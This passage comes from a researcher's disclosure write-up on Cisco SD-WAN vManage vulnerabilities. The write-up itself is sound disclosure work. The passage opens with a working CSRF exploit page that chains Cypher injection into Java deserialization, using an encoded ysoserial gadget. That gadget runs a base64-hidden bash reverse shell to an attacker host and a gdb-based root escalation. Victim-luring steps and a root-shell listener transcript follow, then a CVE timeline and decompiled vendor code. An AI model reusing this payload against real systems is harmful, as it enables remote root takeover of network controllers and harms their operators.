payload.src = 'https://<target>/dataservice/device/counters?deviceId=-1%27%20return%200%20as%20%60system-ip%60%20Union%20Match(s)%20set%20s%2esamlMessage%3d%22aced00057372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc4020000787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573736167657400124c6a6176612f6c616e672f537472696e673b5b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b787071007e0008707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd22390200007870000000037372001b6a6176612e6c616e672e537461636b5472616365456c656d656e746109c59a2636dd85020008420006666f726d617449000a6c696e654e756d6265724c000f636c6173734c6f616465724e616d6571007e00054c000e6465636c6172696e67436c61737371007e00054c000866696c654e616d6571007e00054c000a6d6574686f644e616d6571007e00054c000a6d6f64756c654e616d6571007e00054c000d6d6f64756c6556657273696f6e71007e00057870010000004a74000361707074002679736f73657269616c2e7061796c6f6164732e436f6d6d6f6e73436f6c6c656374696f6e7335740018436f6d6d6f6e73436f6c6c656374696f6e73352e6a6176617400096765744f626a65637470707371007e000b010000002c71007e000d71007e000e71007e000f71007e001070707371007e000b010000003171007e000d74001979736f73657269616c2e47656e65726174655061796c6f616474001447656e65726174655061796c6f61642e6a6176617400046d61696e70707372001f6a6176612e7574696c2e436f6c6c656374696f6e7324456d7074794c6973747ab817b43ca79ede020000787078737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b657971007e00014c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00017870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d6571007e00055b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e002f00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e002f7371007e00287571007e002c00000002707571007e002c00000000740006696e766f6b657571007e002f00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e002c7371007e00287571007e002c00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400092f62696e2f626173687400032d63707401a16563686f202d6e6520276332563049475675646d6c79623235745a5735304946565452564939636d39766441706b5a575a70626d5567636d397664416f674943426d615735706332674b494341676332563049435279595867394d416f674943426a62323530615735315a51706c626d514b596e4a6c595773675a32563064576c6b436d4e7662573168626d527a4369416749484a766233514b5a57356b436d4a795a5746724947646c644764705a41706a623231745957356b63776f674943427962323930436d56755a4170796457346750434176644731774c325a766277707864576c3043673d3d27207c20626173653634202d64203e202f746d702f726f6f74203b206563686f2027646e4e6f5a577873436d4a68633267674c576b67506959674c32526c64693930593341764d5441754d6a41754d5449774c6a49774d43387a4d544d7a4e7941775069597843673d3d27207c20626173653634202d64203e202f746d702f666f6f203b20676462202d2d6261746368202d2d636f6d6d616e643d2f746d702f726f6f74202f7573722f62696e2f636f6e66645f636c69740004657865637571007e002f000000017671007e00407371007e0024737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878%22%20return%20%27Pwned%27%20as%20%60system-ip%60%2f%2f';
document.body.appendChild(payload);
}
window.onload = function() {
setInterval(exploit, 1);
}
</script>
<body>
</body>
</html>

4. Trick an authenticated victim to visit the malicious HTML document that’s crafted in step 3.

5. Wait for another victim to authenticate to the vManage product which will trigger the deserialization vulnerability and spawn a root shell.

6. Enjoy root shell.

attacker:~$ nc -nlvvp 31337
listening on [any] 31337 ...
connect to [10.20.120.200] from (UNKNOWN) [<redacted>] 52168
bash: cannot set terminal process group (14640): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.4# id ; whoami
id ; whoami
uid=0(root) gid=0(root) groups=0(root)
root
bash-4.4# uname -a
uname -a
Linux vmanage 3.10.62-ltsi #1 SMP PREEMPT Fri Nov 8 23:49:05 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
bash-4.4#

Timeline

2/19/2020: Vulnerabilities details sent to psirt@cisco.com

3/13/2020: Cisco PSIRT responded the findings are known issues

4/2/2020: Vulnerabilities details sent to psirt@cisco.com

4/10/2020: Cisco PSIRT acknowledged findings and assigned the following:

· CSCvt65026 (CVE-2020–3437): Cypher Injection

· CSCvt70892 (CVE-2020–3387): Java Deserialization

· CSCvt71038 (CVE-2020–3406): Stored XSS

· CSCvt72764 (CVE-2020–3381): File Upload Directory Traversal

· CSCvt72792 (CVE-2020–3405): XML External Entity

· CSCvt74757 (CVE-2020–3401): File Download Directory Traversal

4/15/2020: Agreed on a 90 days disclosure

7/15/2020: Security advisories⁸ and SD-WAN Software version 19.2.3 released

References

[1] https://www.synacktiv.com/posts/pentest/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html

[2] https://blog.scrt.ch/2014/05/09/neo4j-enter-the-graphdb/

[3] https://sidechannel.tempestsi.com/the-cypher-injection-saga-9698d19bed4

[4] https://neo4j.com/docs/cypher-manual/current/clauses/load-csv/

[5] https://honoki.net/2018/12/12/from-blind-xxe-to-root-level-file-read-access/

[6] https://sdwan-docs.cisco.com/Product_Documentation/Software_Features/Release_18.4/Security/02Configuring_Security_Parameters/Configuring_Single_Sign-On_Using_Okta

[7] https://gravitational.com/blog/how-saml-authentication-works/

[8] https://tools.cisco.com/security/center/publicationListing.x?product=Cisco&title=vManage&last_published=2020%20Jul&sort=-day_sir#~Vulnerabilities

Appendix I

Serialization Code Trace

com/viptela/vmanage/server/sso/saml/SAMLLoginServlet.class - doGet() ::public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
... snipped ...
this.commence(request, response);
... snipped ...
public void commence(HttpServletRequest request, HttpServletResponse response) throws Exception {
try {
SAMLMessageContext context = this.contextProvider.getLocalAndPeerEntity(request, response);
this.initializeSSO(context);
... snipped ...
private void initializeSSO(SAMLMessageContext context)
throws MetadataProviderException, SAMLException, MessageEncodingException, IOException {
WebSSOProfileOptions options = new WebSSOProfileOptions();
log.debug("Processing SSO using WebSSO profile");
this.webSSOprofile.sendAuthenticationRequest(context, options);
SAMLUtil.samlLog("AuthNRequest", "SUCCESS", context);
}
com/viptela/vmanage/server/sso/saml/websso/WebSSOProfileImp - sendAuthenticationRequest() ::public void sendAuthenticationRequest(SAMLMessageContext context, WebSSOProfileOptions options)
throws SAMLException, MetadataProviderException, MessageEncodingException, IOException {
if (!SPSSODescriptor.DEFAULT_ELEMENT_NAME.equals(context.getLocalEntityRole())) {
throw new SAMLException("WebSSO can only be initialized for local SP, but localEntityRole is: " +
context.getLocalEntityRole());
} else {
SPSSODescriptor spDescriptor = (SPSSODescriptor) context.getLocalEntityRoleMetadata();
IDPSSODescriptor idpssoDescriptor = (IDPSSODescriptor) context.getPeerEntityRoleMetadata();
ExtendedMetadata idpExtendedMetadata = context.getPeerExtendedMetadata();
if (spDescriptor != null && idpssoDescriptor != null && idpExtendedMetadata != null) {
SingleSignOnService ssoService = this.getSingleSignOnService(options, idpssoDescriptor, spDescriptor);
AssertionConsumerService consumerService = this.getAssertionConsumerService(options, idpssoDescriptor, spDescriptor);
AuthnRequest authRequest = this.getAuthnRequest(context, options, consumerService, ssoService);
context.setCommunicationProfileId(this.getProfileIdentifier());
context.setOutboundMessage(authRequest);
context.setOutboundSAMLMessage(authRequest);
context.setPeerEntityEndpoint(ssoService);
context.setPeerEntityRoleMetadata(idpssoDescriptor);
context.setPeerExtendedMetadata(idpExtendedMetadata);
if (options.getRelayState() != null) {
context.setRelayState(context.getRelayState());
}
boolean sign = spDescriptor.isAuthnRequestsSigned() || idpssoDescriptor.getWantAuthnRequestsSigned();
this.sendMessage(context, sign);
SAMLMessageStorage messageStorage = context.getMessageStorage();
if (messageStorage != null) {
if (DeviceCommInfoLog.isSsoSamlLogEnabled()) {
this.log.info("Storing message request: {}", authRequest.getID());
}
messageStorage.storeMessage(authRequest.getID(), authRequest);
}
} else {
throw new SAMLException(
"SPSSODescriptor, IDPSSODescriptor or IDPExtendedMetadata are not present in the SAMLContext");
}
}
}
com/viptela/vmanage/server/sso/storage/HttpSessionStorage.class - storeMessage() ::public class HttpSessionStorage implements SAMLMessageStorage {
... snipped ...
public void storeMessage(String messageID, XMLObject message) throws IOException, SAMLException {
if (DeviceCommInfoLog.isSsoSamlLogEnabled()) {
this.log.info("Storing message {} to session {}", messageID, this.session.getId());
}
SAMLObject samlObject = new SAMLObject(message);
this.samlStorageDAO.storeMessage(this.session.getId(), messageID, samlObject);

Hashtable<String, SAMLObject<XMLObject>> messages = this.getMessages();
messages.put(messageID, new SAMLObject(message));
this.updateSession(messages);
}
... snipped ...
}
com/viptela/vmanage/server/sso/storage/SAMLStorageDAO.class – storeMessage() ::public void storeMessage(String sessionId, String messageId, SAMLObject samlObject) throws SAMLException, IOException {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = null;
try {
out = new ObjectOutputStream(bos);
out.writeObject(samlObject);
out.close();

... snipped ...
byte[] samlMessage = bos.toByteArray();
SAMLStorage store = new SAMLStorage(sessionId, messageId, samlMessage);
HashMap storeMap = new HashMap();
storeMap.put("messageId", store.getMessageId());
storeMap.put("samlMessage", HexConverter.convertToHexString(store.getMessage()));
storeMap.put("sessionId", store.getSessionId());
... snipped ...
VGraphDataStore graphDataStore = this.databaseManager.getGraphDataStore();
... snipped ...
graphDataStore.addVertex("class:samlStorageNode", storeMap);
... snipped ...

Deserialization Code Trace

com/viptela/server/sso/saml/SAMLProcessingFilter.class - doFilter() ::@WebFilter(filterName = "SAMLProcessingFilter", urlPatterns = {"/samlLoginResponse"})
public class SAMLProcessingFilter implements Filter {
... snipped ...
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)
throws IOException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
... snipped ...
SAMLMessageContext context = this.contextProvider.getLocalEntity(request, response);
context = this.samlProcessor.retrieveMessage(context);
... snipped ...
SAMLAuthenticationProvider authProvider = this.tenantComponent.samlAuthenticationProvider();
authProvider.setConsumer(consumer);
authProvider.afterPropertiesSet();
try {
Map<String, Set<String>> userRoleMap = authProvider.authenticate(context)
... snipped ...
com/viptela/server/sso/saml/SAMLAuthenticationProvider.class - authenticate() ::public Map<String, Set<String>> authenticate(SAMLMessageContext context) throws Exception {
if (context == null) {
throw new AuthenticationException("SAML message context is not available in the authentication token");
} else {
SAMLCredential authenticationCredential = null;
HashMap userRoleMap = new HashMap();
try {
if (!"urn:oasis:names:tc:SAML:2.0:profiles:SSO:browser".equals(context.getCommunicationProfileId())) {
throw new SAMLException("Unsupported profile encountered in the context " + context.getCommunicationProfileId());
}
authenticationCredential = this.consumer.processAuthenticationResponse(context);com/viptela/server/sso/saml/websso/WebSSOProfileConsumerImpl.class - processAuthenticationResponse() ::public SAMLCredential processAuthenticationResponse(SAMLMessageContext context) throws SAMLException, SecurityException, ValidationException, DecryptionException, IOException, ClassNotFoundException {
AuthnRequest request = null;
SAMLObject message = context.getInboundSAMLMessage();
if (!(message instanceof Response)) {
throw new SAMLException("Message is not of a Response object type");
} else {
Response response = (Response) message;
... snipped ...
} else {
HttpSessionStorage messageStorage = (HttpSessionStorage) context.getMessageStorage();
String messageID = response.getInResponseTo();
if (messageStorage != null && messageID != null) {
XMLObject xmlObject = messageStorage.retrieveMessage(messageID);
com/viptela/server/sso/saml/storage/HttpSessionStorage.class - retrieveMessage() ::public XMLObject retrieveMessage(String messageID) throws SAMLException, IOException, ClassNotFoundException {
SAMLObject<XMLObject> o = this.samlStorageDAO.retrieveMessage(this.session.getId(), messageID);
Hashtable<String, SAMLObject<XMLObject>> messages = this.getMessages();
if (o == null) {
this.log.info("Message {} not found in session {}", messageID, this.session.getId());
return null;
} else {
this.log.info("Message {} found in session {}, clearing", messageID, this.session.getId());
messages.clear();
this.samlStorageDAO.deleteMessage(this.session.getId(), messageID);
this.updateSession(messages);
return o.getObject();
}
}
com/viptela/server/sso/saml/storage/SAMLStorageDAO.class - retrieveMessage() ::public SAMLObject<XMLObject> retrieveMessage(String sessionId, String messageId)
... snipped ...
byte[] samlObjectByteArray = HexConverter.convertFromHex((String) vertex.getProperty("samlMessage"));
ByteArrayInputStream samlMsgByteArrayStream = new ByteArrayInputStream(samlObjectByteArray);
ObjectInputStream samlMsgObjInputStream = new ObjectInputStream(samlMsgByteArrayStream);

Throwable var12 = null;
try {
samlObject = (SAMLObject) samlMsgObjInputStream.readObject();
} catch (Throwable var37) {
... snipped ...

--

--